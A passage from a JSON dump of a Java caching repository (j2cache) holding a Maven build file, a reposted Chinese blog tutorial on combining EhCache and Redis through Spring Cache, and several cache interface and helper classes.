-->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<skip>true</skip>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>${java.version}</source>\n\t\t\t\t\t<target>${java.version}</target>\n\t\t\t\t\t<showWarnings>true</showWarnings>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-install-plugin</artifactId>\n\t\t\t\t<version>2.4</version>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t\t\t<version>2.4</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<archive>\n\t\t\t\t\t\t<manifest>\n\t\t\t\t\t\t\t<addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n\t\t\t\t\t\t</manifest>\n\t\t\t\t\t</archive>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/spring boot 使用spring cache 整合多级缓存(EhCache,Redis).md",
    "content": "spring boot 使用spring cache 整合多级缓存(EhCache,Redis)\n\n \nspring boot spring cache实现多级缓存， 只是按照自己的思想实现，若有读者有更好的解决思路，欢迎指点\nspring cache实现多级缓存的思路如下：\n添加自定义的CacheManager,自定义的Cache,在Cache里实现多级缓存的操作(增删查)\n配置类如下注意红色标记的部分：\n\npackage com.zyc.zspringboot.config;\n\nimport com.zyc.zspringboot.cache.MyCacheManager;\nimport com.zyc.zspringboot.cache.MyCacheTemplate;\nimport com.zyc.zspringboot.cache.MyRedisCache;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.cache.CacheManager;\nimport org.springframework.cache.annotation.EnableCaching;\nimport org.springframework.cache.ehcache.EhCacheCacheManager;\nimport org.springframework.cache.ehcache.EhCacheManagerFactoryBean;\nimport org.springframework.context.annotation.AdviceMode;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.core.io.Resource;\nimport org.springframework.data.redis.cache.RedisCacheManager;\nimport org.springframework.data.redis.connection.jedis.JedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.JdkSerializationRedisSerializer;\nimport org.springframework.data.redis.serializer.RedisSerializer;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\nimport redis.clients.jedis.JedisPoolConfig;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * ClassName: RedisConfig\n *\n * @author zyc-admin\n * @date 2018年1月23日\n * @Description:\n */\n@Configuration\n@EnableCaching(mode = AdviceMode.PROXY)\n// model属性默认proxy\n// mode属性，可以选择值proxy和aspectj。默认使用proxy。当mode为proxy时，\n// 只有缓存方法在外部被调用的时候才会生效。这也就意味着如果一个缓存方法在一个对\n// 象的内部被调用SpringCache是不会发生作用的。而mode为aspectj时，就不会有\n// 这种问题了。另外使用proxy的时候，只有public方法上的@Cacheable才会发生作用。\n// 如果想非public上的方法也可以使用那么就把mode改成aspectj。\n@ConfigurationProperties(prefix = \"spring.redis\")\n// 使用@ConfigurationProperties 需要实现属性的getter setter方法，\n// 1.5之前版本需要在启动类上使用@EnableConfigurationProperties进行激活，1.5之后直接在配置类上使用@Component，\n// 由于本类使用@Configuration注解包含了@Component就不用在声明@Component，\n// 这样就可以直接在其他类中使用@Autowired直接把此类注入进来\n// extends CachingConfigurerSupport\npublic class RedisConfig {\n\n\tprivate String hostName;\n\n\tprivate int port;\n\n\tprivate int timeOut;\n\n\tprivate int maxIdle;// 最大空闲连接数, 默认8个\n\n\tprivate int maxWaitMillis;// 获取连接时的最大等待毫秒数\n\n\tprivate boolean testOnBorrow;// 在获取连接的时候检查有效性, 默认false\n\n\tprivate boolean testWhileIdle;// 空闲是否检查是否有效，默认为false\n\n\tpublic String getHostName() {\n\t\treturn hostName;\n\t}\n\n\tpublic void setHostName(String hostName) {\n\t\tthis.hostName = hostName;\n\t}\n\n\tpublic int getPort() {\n\t\treturn port;\n\t}\n\n\tpublic void setPort(int port) {\n\t\tthis.port = port;\n\t}\n\n\tpublic int getTimeOut() {\n\t\treturn timeOut;\n\t}\n\n\tpublic void setTimeOut(int timeOut) {\n\t\tthis.timeOut = timeOut;\n\t}\n\n\tpublic int getMaxIdle() {\n\t\treturn maxIdle;\n\t}\n\n\tpublic void setMaxIdle(int maxIdle) {\n\t\tthis.maxIdle = maxIdle;\n\t}\n\n\tpublic int getMaxWaitMillis() {\n\t\treturn maxWaitMillis;\n\t}\n\n\tpublic void setMaxWaitMillis(int maxWaitMillis) {\n\t\tthis.maxWaitMillis = maxWaitMillis;\n\t}\n\n\tpublic boolean isTestOnBorrow() {\n\t\treturn testOnBorrow;\n\t}\n\n\tpublic void setTestOnBorrow(boolean testOnBorrow) {\n\t\tthis.testOnBorrow = testOnBorrow;\n\t}\n\n\tpublic boolean isTestWhileIdle() {\n\t\treturn testWhileIdle;\n\t}\n\n\tpublic void setTestWhileIdle(boolean testWhileIdle) {\n\t\tthis.testWhileIdle = testWhileIdle;\n\t}\n\n\n\t@Bean(\"jedisPoolConfig\")\n\tpublic JedisPoolConfig jedisPoolConfig() {\n\t\tJedisPoolConfig jedisPoolConfig = new JedisPoolConfig();\n\t\tjedisPoolConfig.setMaxIdle(maxIdle);\n\t\tjedisPoolConfig.setMaxWaitMillis(maxWaitMillis);\n\t\tjedisPoolConfig.setTestOnBorrow(true);\n\t\tjedisPoolConfig.setTestWhileIdle(false);\n\t\treturn jedisPoolConfig;\n\t}\n\t \n\t@Bean\n\tpublic JedisConnectionFactory redisConnectionFactory(\n\t\t\tJedisPoolConfig jedisPoolConfig) {\n\t\t// 如果集群使用new JedisConnectionFactory(new\n\t\t// RedisClusterConfiguration()),集群配置在RedisClusterConfiguration,这里省略具体配置\n\t\tJedisConnectionFactory redisConnectionFactory = new JedisConnectionFactory();\n\t\tredisConnectionFactory.setPoolConfig(jedisPoolConfig);\n\t \n\t\tredisConnectionFactory.setHostName(hostName);\n\t\tredisConnectionFactory.setPort(port);\n\t\tredisConnectionFactory.setTimeout(timeOut);\n\t\treturn redisConnectionFactory;\n\t}\n\t \n\t/**\n\t * RedisTemplate配置\n\t *\n\t * @param redisConnectionFactory\n\t * @return RedisTemplate\n\t */\n\t@Bean\n\tpublic RedisTemplate<String, Object> redisTemplate(\n\t\t\tJedisConnectionFactory redisConnectionFactory) {\n\t\tRedisTemplate<String, Object> redisTemplate = new RedisTemplate<>();\n\t\tredisTemplate.setConnectionFactory(redisConnectionFactory);\n\t\tRedisSerializer<String> redisSerializer = new StringRedisSerializer();\n\t\tredisTemplate.setKeySerializer(redisSerializer);\n\t\t// Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer = new\n\t\t// Jackson2JsonRedisSerializer<Object>(\n\t\t// Object.class);\n\t\t// ObjectMapper om = new ObjectMapper();\n\t\t// om.setVisibility(PropertyAccessor.ALL,\n\t\t// JsonAutoDetect.Visibility.ANY);\n\t\t// om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);\n\t\t// jackson2JsonRedisSerializer.setObjectMapper(om);\n\t\t// redisTemplate.setValueSerializer(jackson2JsonRedisSerializer);\n\t\tJdkSerializationRedisSerializer jdkSerializationRedisSerializer = new JdkSerializationRedisSerializer();\n\t\tredisTemplate.setValueSerializer(jdkSerializationRedisSerializer);\n\t\treturn redisTemplate;\n\t}\n\t \n\t/**\n\t * redis缓存管理器\n\t * @param redisTemplate\n\t * @return\n\t */\n\t@Bean\n\tpublic RedisCacheManager redisCacheManager(RedisTemplate<String, Object> redisTemplate) {\n\t\tRedisCacheManager cacheManager = new RedisCacheManager(redisTemplate);\n\t\t// Number of seconds before expiration. Defaults to unlimited (0)\n\t\tcacheManager.setDefaultExpiration(120); //设置key-value超时时间\n\t\tList<String> cacheNames = new ArrayList<>();\n\t\tcacheNames.add(\"myRedis\");\n\t\tcacheNames.add(\"j2CacheRedis\");\n\t\tcacheManager.setCacheNames(cacheNames);\n\t\treturn cacheManager;\n\t}\n\t \n\t/**\n\t * spring cache整合(EhCache,Redis)二级缓存具体Cache\n\t * @param redisCacheManager\n\t * @param redisTemplate\n\t * @return\n\t */\n\t@Bean\n\tpublic MyCacheTemplate myCacheTemplate(RedisCacheManager redisCacheManager,RedisTemplate<String, Object> redisTemplate){\n\t\tMyCacheTemplate myCacheTemplate=new MyCacheTemplate();\n\t\tmyCacheTemplate.setRedisCacheManager(redisCacheManager);\n\t\tmyCacheTemplate.setRedisTemplate(redisTemplate);\n\t\tmyCacheTemplate.setName(\"j2CacheRedis\");\n\t\treturn myCacheTemplate;\n\t}\n\t/**\n\t * 自定义redis缓存\n\t * @param redisCacheManager\n\t * @param redisTemplate\n\t * @return\n\t */\n\t@Bean\n\tpublic MyRedisCache myRedisCache(RedisCacheManager redisCacheManager,RedisTemplate<String,Object> redisTemplate){\n\t\tMyRedisCache myRedisCache=new MyRedisCache();\n\t\t//自定义属性配置缓存名称\n\t\tmyRedisCache.setName(\"myRedis\");\n\t\t//redis缓存管理器\n\t\tmyRedisCache.setRedisCacheManager(redisCacheManager);\n\t\t//redisTemplate 实例\n\t\tmyRedisCache.setRedisTemplate(redisTemplate);\n\t\treturn myRedisCache;\n\t}\n\t \n\t/**\n\t * spring cache 统一缓存管理器\n\t * @param myCacheTemplate\n\t * @param myRedisCache\n\t * @return\n\t */\n\t@Bean\n\t@Primary\n\tpublic CacheManager cacheManager(MyCacheTemplate myCacheTemplate,MyRedisCache myRedisCache){\n\t\tMyCacheManager cacheManager=new MyCacheManager();\n\t\tcacheManager.setMyCacheTemplate(myCacheTemplate);\n\t\tcacheManager.setMyRedisCache(myRedisCache);\n\t\treturn cacheManager;\n\t}\n\t \n\t // 整合ehcache\n\t @Bean\n\t public EhCacheCacheManager ehCacheCacheManager() {\n\t\t EhCacheCacheManager ehCacheCacheManager = new EhCacheCacheManager(ehCacheManagerFactoryBean().getObject());\n\t\t  return ehCacheCacheManager;\n\t }\n\n \n\n\t @Bean\n\t public EhCacheManagerFactoryBean ehCacheManagerFactoryBean() {\n\t EhCacheManagerFactoryBean cacheManagerFactoryBean = new\n\t EhCacheManagerFactoryBean();\n\t //这里暂时借用shiro的ehcache配置文件\n\t Resource r=new ClassPathResource(\"ehcache-shiro.xml\");\n\t cacheManagerFactoryBean.setConfigLocation(r);\n\t cacheManagerFactoryBean.setShared(true);\n\t return cacheManagerFactoryBean;\n\t }\n\n}\n自定义CacheManager如下：\n\npackage com.zyc.zspringboot.cache;\n\nimport org.springframework.cache.Cache;\nimport org.springframework.cache.CacheManager;\nimport java.util.Collection;\n\n/**\n * @author zyc-admin\n * @data 2018-03-20 10:12\n **/\npublic class MyCacheManager implements CacheManager {\n\n\tprivate MyCacheTemplate myCacheTemplate;\n\n\tprivate MyRedisCache myRedisCache;\n\n\tpublic MyRedisCache getMyRedisCache() {\n\t\treturn myRedisCache;\n\t}\n\n\tpublic void setMyRedisCache(MyRedisCache myRedisCache) {\n\t\tthis.myRedisCache = myRedisCache;\n\t}\n\n\tpublic MyCacheTemplate getMyCacheTemplate() {\n\t\treturn myCacheTemplate;\n\t}\n\n\tpublic void setMyCacheTemplate(MyCacheTemplate myCacheTemplate) {\n\t\tthis.myCacheTemplate = myCacheTemplate;\n\t}\n\n\t@Override\n\tpublic Cache getCache(String name) {\n\t\t//多级缓存实现\n\t\tif(name.equals(myCacheTemplate.getName())){\n\t\t\treturn myCacheTemplate;\n\t\t}\n\t\t\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic Collection<String> getCacheNames() {\n\n\t\treturn null;\n\t}\n}\n自定义Cache实现：\n\npackage com.zyc.zspringboot.cache;\n\nimport net.sf.ehcache.CacheManager;\nimport net.sf.ehcache.Element;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.cache.Cache;\nimport org.springframework.cache.support.SimpleValueWrapper;\nimport org.springframework.data.redis.cache.RedisCacheElement;\nimport org.springframework.data.redis.cache.RedisCacheKey;\nimport org.springframework.data.redis.cache.RedisCacheManager;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport java.util.concurrent.Callable;\n\n/**\n * @author zyc-admin\n * @data 2018-03-19 17:15\n **/\npublic class MyCacheTemplate implements Cache  {\n\n\tprivate static final Logger logger= LoggerFactory.getLogger(MyCacheTemplate.class);\n\n\tprivate CacheManager ehCacheManager;\n\n\tprivate RedisCacheManager redisCacheManager;\n\n\tprivate RedisTemplate<String, Object> redisTemplate;\n\n\tpublic CacheManager getEhCacheManager() {\n\t\treturn ehCacheManager;\n\t}\n\n\tpublic void setEhCacheManager(CacheManager ehCacheManager) {\n\t\tthis.ehCacheManager = ehCacheManager;\n\t}\n\n\tpublic RedisCacheManager getRedisCacheManager() {\n\t\treturn redisCacheManager;\n\t}\n\n\tpublic void setRedisCacheManager(RedisCacheManager redisCacheManager) {\n\t\tthis.redisCacheManager = redisCacheManager;\n\t}\n\n\tpublic RedisTemplate<String, Object> getRedisTemplate() {\n\t\treturn redisTemplate;\n\t}\n\n\tpublic void setRedisTemplate(RedisTemplate<String, Object> redisTemplate) {\n\t\tthis.redisTemplate = redisTemplate;\n\t}\n\n\tprivate String name;\n\n\t@Override\n\tpublic String getName() {\n\t\treturn name;\n\t}\n    //自己添加set方法,实现Cache本身无此方法\n\tpublic void setName(String name){\n\t\tthis.name=name;\n\t}\n\n\t@Override\n\tpublic Object getNativeCache() {\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic ValueWrapper get(Object key) {\n\t\tehCacheManager=CacheManager.getCacheManager(\"ec\");\n\t\tif(ehCacheManager!=null){\n\t\t\tnet.sf.ehcache.Cache myEhcache = ehCacheManager.getCache(getName());\n\t\t\tlogger.info(\"取数据ehcache库===key:{}\",key);\n\t\t\tif(myEhcache.get(key)!=null){\n\t\t\t\tValueWrapper v=new SimpleValueWrapper(myEhcache.get(key).getObjectValue());\n\t\t\t\treturn v;\n\t\t\t}\n\t\t}\n\t\tCache myRedis = redisCacheManager.getCache(getName());\n\t\tif(myRedis!=null){\n\t\t\tlogger.info(\"取数据reids库===key:{}\",key);\n\t\t\tif(myRedis.get(key)!=null){\n\t\t\t\tRedisCacheElement vr=new RedisCacheElement(new RedisCacheKey(key),myRedis.get(key).get());\n\t\t\t\treturn vr;\n\t\t\t}\n\t\t}\n\n\n\t\treturn null;\n\t}\n\t \n\t@Override\n\tpublic <T> T get(Object key, Class<T> type) {\n\t\tSystem.out.println(key+\"=======================\"+type);\n\t\treturn null;\n\t}\n\t \n\t@Override\n\tpublic <T> T get(Object key, Callable<T> valueLoader) {\n\t\treturn null;\n\t}\n\t \n\t@Override\n\tpublic void put(Object key, Object value) {\n\t\tehCacheManager=CacheManager.getCacheManager(\"ec\");\n\t\tif(ehCacheManager!=null){\n\t\t\tnet.sf.ehcache.Cache myEhcache = ehCacheManager.getCache(getName());\n\t\t\tElement e=new Element(key,value);\n\t\t\tlogger.info(\"插入ehcache库===key:{},value:{}\",key,value);\n\t\t\tmyEhcache.put(e);\n\t\t}\n\t\tCache myRedis = redisCacheManager.getCache(getName());\n\t\tif(myRedis!=null){\n\t\t\tlogger.info(\"插入reids库===key:{},value:{}\",key,value);\n\t\t\tmyRedis.put(key,value);\n\t\t}\n\t\tSystem.out.println(\"cha ru  key \"+ key);\n\t \n\t}\n\t \n\t@Override\n\tpublic ValueWrapper putIfAbsent(Object key, Object value) {\n\t\treturn null;\n\t}\n\t \n\t@Override\n\tpublic void evict(Object key) {\n\t\tCache myRedis = redisCacheManager.getCache(getName());\n\t\tif(myRedis!=null){\n\t\t\tlogger.info(\"删除reids库===key:{}\",key);\n\t\t\tmyRedis.evict(key);\n\t\t}\n\t\tehCacheManager=CacheManager.getCacheManager(\"ec\");\n\t\tif(ehCacheManager!=null){\n\t\t\tnet.sf.ehcache.Cache myEhcache = ehCacheManager.getCache(getName());\n\t\t\tlogger.info(\"删除ehcache库===key:{}\",key);\n\t\t\tif(myEhcache.isKeyInCache(key)){\n\t\t\t\tmyEhcache.remove(key);\n\t\t\t}\n\t \n\t\t}\n\t \n\t\tSystem.out.println(\"删除  key \"+ key);\n\t}\n\t \n\t@Override\n\tpublic void clear() {\n\t\tCache myRedis = redisCacheManager.getCache(getName());\n\t\tmyRedis.clear();\n\t\tehCacheManager=CacheManager.getCacheManager(\"ec\");\n\t\tif(ehCacheManager!=null) {\n\t\t\tnet.sf.ehcache.Cache myEhcache = ehCacheManager.getCache(getName());\n\t\t\tmyEhcache.removeAll();\n\t\t}\n\t}\n}\n使用spring cache 注解使用缓存如下：(在首次调用这个方法时，自定义缓存的put,get方法总是打印2次插入数据，2次取数据，暂时不知道什么原因，若有哪位大神知道，欢迎评论指点。)\n\n@Cacheable(value = \"j2CacheRedis\", key = \"'role:id:'+#id\",unless =\"#result == null\")\n\t//@Log(value = \"获取数据并存入缓存\")\n\tpublic Role getRole(String id) {\n\t\t// TODO Auto-generated method stub\n\t\treturn roleDao.getRole(id);\n\t}\napplication.properties配置文件如下\n\n#redis ------start-------\nspring.redis.hostName=127.0.0.1\nspring.redis.port=63791\nspring.redis.timeOut=1000\nspring.redis.maxIdle=10\nspring.redis.maxWaitMillis=15000\nspring.redis.testOnBorrow=true\nspring.redis.testWhileIdle=false\necache-shiro.xml配置文件如下(因本项目使用了shiro,所以Ehcache使用shiro的缓存配置文件)\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<ehcache xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:noNamespaceSchemaLocation=\"http://ehcache.org/ehcache.xsd\"\n         updateCheck=\"false\" name=\"ec\">\n\n<diskStore path=\"java.io.tmpdir\"/> <!-- 缓存存放目录(此目录为放入系统默认缓存目录),也可以是”D:/cache“ java.io.tmpdir -->\n    <defaultCache\n            maxElementsInMemory=\"10000\"\n            eternal=\"false\"\n            timeToIdleSeconds=\"120\"\n            timeToLiveSeconds=\"120\"\n            overflowToDisk=\"true\"\n            maxElementsOnDisk=\"10000000\"\n            diskPersistent=\"false\"\n            diskExpiryThreadIntervalSeconds=\"120\"\n            memoryStoreEvictionPolicy=\"LRU\"\n    />\n\n    <!--  -->\n    <cache name=\"j2CacheRedis\"\n           maxElementsInMemory=\"1000\"\n           eternal=\"false\"\n           timeToIdleSeconds=\"120\"\n           timeToLiveSeconds=\"140\"\n           overflowToDisk=\"false\"\n           memoryStoreEvictionPolicy=\"LRU\"/>\n     \n    <!--\n  name：Cache的唯一标识\n  maxElementsInMemory：内存中最大缓存对象数\n  maxElementsOnDisk：磁盘中最大缓存对象数，若是0表示无穷大\n  eternal：Element是否永久有效，一但设置了，timeout将不起作用\n  overflowToDisk：配置此属性，当内存中Element数量达到maxElementsInMemory时，Ehcache将会Element写到磁盘中\n  timeToIdleSeconds：设置Element在失效前的允许闲置时间。仅当element不是永久有效时使用，可选属性，默认值是0，也就是可闲置时间无穷大\n  timeToLiveSeconds：设置Element在失效前允许存活时间。最大时间介于创建时间和失效时间之间。仅当element不是永久有效时使用，默认是0.，也就是element存活时间无穷大\n  diskPersistent：是否缓存虚拟机重启期数据\n  diskExpiryThreadIntervalSeconds：磁盘失效线程运行时间间隔，默认是120秒\n  diskSpoolBufferSizeMB：这个参数设置DiskStore（磁盘缓存）的缓存区大小。默认是30MB。每个Cache都应该有自己的一个缓冲区\n   memoryStoreEvictionPolicy：当达到maxElementsInMemory限制时，Ehcache将会根据指定的策略去清理内存。默认策略是LRU（最近最少使用）。你可以设置为FIFO（先进先出）或是LFU（较少使用）\n  -->\n</ehcache>  \n整合过程遇到的问题：\n1 创建cacheManager bean时失败\n解决方法：可能你配置了多个cacheManager,确保不重名，在自定义的那个cacheManager上添加 @Primary注解\n自定义的CacheManager 要实现CacheManager接口，\n注意不要继承org.springframework.cache.support.AbstractCacheManager这个类来实现自己CacheManager\n2 创建EhCacheCacheManager失败\n解决方法：查看你的EhCacheCacheManager是否和shiro的EhCache缓存有冲突，\nEhCache 2.5版本之上，jvm里面一般只能存在EhCache实例。\n3 内部方法调用带有spring cache注解的方法 缓存失效\n解决方法：spring cache 依赖于aop，使用AopContext.currentProxy().你的方法，\n使用之前需先暴露代理对象添加注解 @EnableAspectJAutoProxy(exposeProxy=true,proxyTargetClass=true)\nexposeProxy:暴露代理对象,proxyTargetClass强制使用cglib代理\n————————————————\n版权声明：本文为CSDN博主「啊大海全是水」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。\n原文链接：https://blog.csdn.net/zhaoyachao123/article/details/79657358"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/Cache.java",
    "content": "package net.oschina.j2cache;\n\nimport java.util.List;\n\n/**\n * 缓存工具[ehcache|redis等]的几个底层操作方法：get/put/update/keys/evict/clear/destroy等<br>\n * 支持各种第三方的实现，如：[ehcache|redis|memcached]等\n */\npublic interface Cache {\n\n\t/**\n\t * 从缓存中取出一个数据对象\n\t * @param key {String} -- cache key\n\t * @return 返回Object 或者 NULL\n\t * @throws CacheException 缓存异常\n\t */\n\tObject get(Object key) throws CacheException;\n\t\n\t/**\n\t * 添加一个数据对象到缓存\n\t * @param key key {String} -- cache key\n\t * @param value value\n\t * @throws CacheException 缓存异常\n\t */\n\tvoid put(Object key, Object value) throws CacheException;\n\n\t/**\n\t * 从缓存中销毁/删除Key对应的数据\n\t * @param key key {String} -- cache key\n\t * @throws CacheException 缓存异常\n\t */\n\tvoid evict(Object key) throws CacheException;\n\t\n\t/**\n\t * 从缓存中批量销毁/删除Keys对应的数据\n\t * @param keys {List} -- cache keys\n\t * @throws CacheException 缓存异常\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tvoid evict(List keys) throws CacheException;\n\n\t/**\n\t * 取得当前region下所有的key\n\t * @return keys {List}\n\t * @throws CacheException 缓存异常\n\t */\n\tList keys() throws CacheException;\n\t\n\t/**\n\t * 清除所有的缓存数据\n\t * @throws CacheException 缓存异常\n\t */\n\tvoid clear() throws CacheException;\n\n\t/**\n\t * 销毁连接实例 -- 实际做的工作是清理掉所有数据\n\t * @throws CacheException 缓存异常\n\t */\n\tvoid destroy() throws CacheException;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheAbstractTemplate.java",
    "content": "package net.oschina.j2cache;\n\nimport net.oschina.j2cache.broadcast.JGroupBroadcastChannel;\nimport net.oschina.j2cache.broadcast.RedisBroadcastChannel;\nimport org.springframework.beans.factory.InitializingBean;\n\nimport java.util.List;\n\n/**\n * <p>缓存方法调用入口</p>\n * <p>注：需设置JVM禁用IPv6服务，编译时添加参数：-Djava.net.preferIPv4Stack=true</p>\n *\n * @author FY\n */\npublic abstract class CacheAbstractTemplate implements InitializingBean {\n    /** 组播通道命名 */\n    private String clusterName = \"C_DEF\";\n\n    protected CacheFactory factory;\n\n    private CacheBroadcastChannel broadcastChannel;\n    private CacheExpiredListener listener;\n\n\n    // ----------------------- Cache method ----------------------------\n\n    /**\n     * <b>缓存中取数据</b>\n     * @param region 缓存region name\n     * @param key 缓存业务key\n     * @return {@link CacheObject}\n     */\n    public abstract CacheObject get(String region, String key);\n\n    /**\n     * 写入缓存 - 不带过期时间\n     * @param region 缓存region name\n     * @param key 缓存key\n     * @param value 缓存数据\n     */\n    public abstract void set(String region, String key, Object value);\n\n    /**\n     * 写入缓存 - 带过期时间;\n     * <b>不建议使用该方法，当前缓存的实现架构下，有效期不能同时设置，ehcache在配置文件中，而redis可以在代码上设置，所以不是很合理</b>\n     * @param region 缓存region name\n     * @param key 缓存key\n     * @param value 缓存数据\n     * @param expired 过期时间\n     */\n    public abstract void set(String region, String key, Object value, Integer expired);\n\n\n    /**\n     * 删除缓存\n     * @param region 缓存region name\n     * @param key 缓存key\n     */\n    public abstract void evict(String region, String key);\n\n    /**\n     * 删除缓存 - 批量\n     * @param region 缓存region name\n     * @param keys 缓存key集合\n     */\n    public abstract void batchEvict(String region, List keys);\n\n    /**\n     * 清除缓存\n     * @param region 缓存region name\n     */\n    public abstract void clear(String region);\n\n    /**\n     * 获得一个region下面所有的cache key\n     * @param region 缓存region name\n     * @return {@link List} key list\n     */\n    public abstract List keys(String region);\n\n\n    // ----------------------- Cache Template init method ------------------------------\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        if (factory == null) {\n            throw new CacheException(\"缓存的工厂类实例不能为null.\");\n        }\n\n        if (clusterName == null || \"\".equals(clusterName)) {\n            this.clusterName = \"C_DEF\";\n        }\n\n        // 初始化组播网络配置，是否开启了集群配置\n        if (factory.isUseCluster()) {\n            if (factory.getCacheBroadcast().equals(net.oschina.j2cache.broadcast.BroadcastType.JGROUPS_MULTICAST))\n                broadcastChannel = new JGroupBroadcastChannel(factory.getCache_jgroup_conf_file(), clusterName, factory);\n            else if (factory.getCacheBroadcast().equals(net.oschina.j2cache.broadcast.BroadcastType.REDIS_PUBSUB)) {\n                broadcastChannel = new RedisBroadcastChannel(clusterName, factory);\n            }\n        }\n\n    }\n\n    public void sendCmdBroadcast(byte optKey, String region, Object key) throws CacheException {\n        if (broadcastChannel != null) {\n            broadcastChannel.sendCmdBroadcast(optKey, region, key);\n        }\n    }\n\n    // ------------------------ getter/setter ---------------------------\n\n    public void setFactory(CacheFactory factory) {\n        this.factory = factory;\n    }\n\n    public CacheBroadcastChannel getBroadcastChannel() {\n        return broadcastChannel;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheBox.java",
    "content": "package net.oschina.j2cache;\n\nimport java.io.Serializable;\nimport java.time.Instant;\n\n/**\n * 写入缓存数据的封装\n *\n * @author FY\n */\npublic class CacheBox implements Serializable {\n    /** 缓存写入的时间 */\n    private Long timestamp = Instant.now().getEpochSecond();\n    /** 缓存数据 */\n    private Object value;\n    /** 有效期：0-永久 */\n    private Integer expired = 0;\n\n    public CacheBox(Object value, Integer expired) {\n        this.value = value;\n        this.expired = expired;\n    }\n\n    public CacheBox(Object value) {\n        this(value, 0);\n    }\n\n    public CacheBox() {\n    }\n\n    public Long getTimestamp() {\n        return timestamp;\n    }\n\n    public void setTimestamp(Long timestamp) {\n        this.timestamp = timestamp;\n    }\n\n    public Object getValue() {\n        return value;\n    }\n\n    public void setValue(Object value) {\n        this.value = value;\n    }\n\n    public Integer getExpired() {\n        return expired;\n    }\n\n    public void setExpired(Integer expired) {\n        this.expired = expired;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheBroadcastChannel.java",
    "content": "package net.oschina.j2cache;\n\n/**\n * 缓存通信通道接口类\n *\n * @author FY\n */\npublic interface CacheBroadcastChannel {\n\n    void onDeleteCacheKey(String region, Object key) throws CacheException;\n\n    /**\n     * 发送缓存变更的广播\n     * @param optKey cache opt key\n     * @param region cache region\n     * @param key cache key\n     * @throws CacheException 抛出异常\n     */\n    void sendCmdBroadcast(byte optKey, String region, Object key) throws CacheException;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheException.java",
    "content": "package net.oschina.j2cache;\n\n/**\n * 缓存相关异常容器\n */\n@SuppressWarnings(\"serial\")\npublic class CacheException extends RuntimeException {\n\t\n\tpublic CacheException(String s) {\n\t\tsuper(s);\n\t}\n\n\tpublic CacheException(String s, Throwable e) {\n\t\tsuper(s, e);\n\t}\n\n\tpublic CacheException(Throwable e) {\n\t\tsuper(e);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheExpiredListener.java",
    "content": "package net.oschina.j2cache;\n\n/**\n * 缓存失效/超时监听\n */\npublic interface CacheExpiredListener {\n\t\n\t/**\n\t * 当缓存中的某个对象超时被清除的时候触发\n\t * @param region: Cache region name\n\t * @param key: cache key\n\t */\n\tvoid notifyElementExpired(String region, Object key);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheFactory.java",
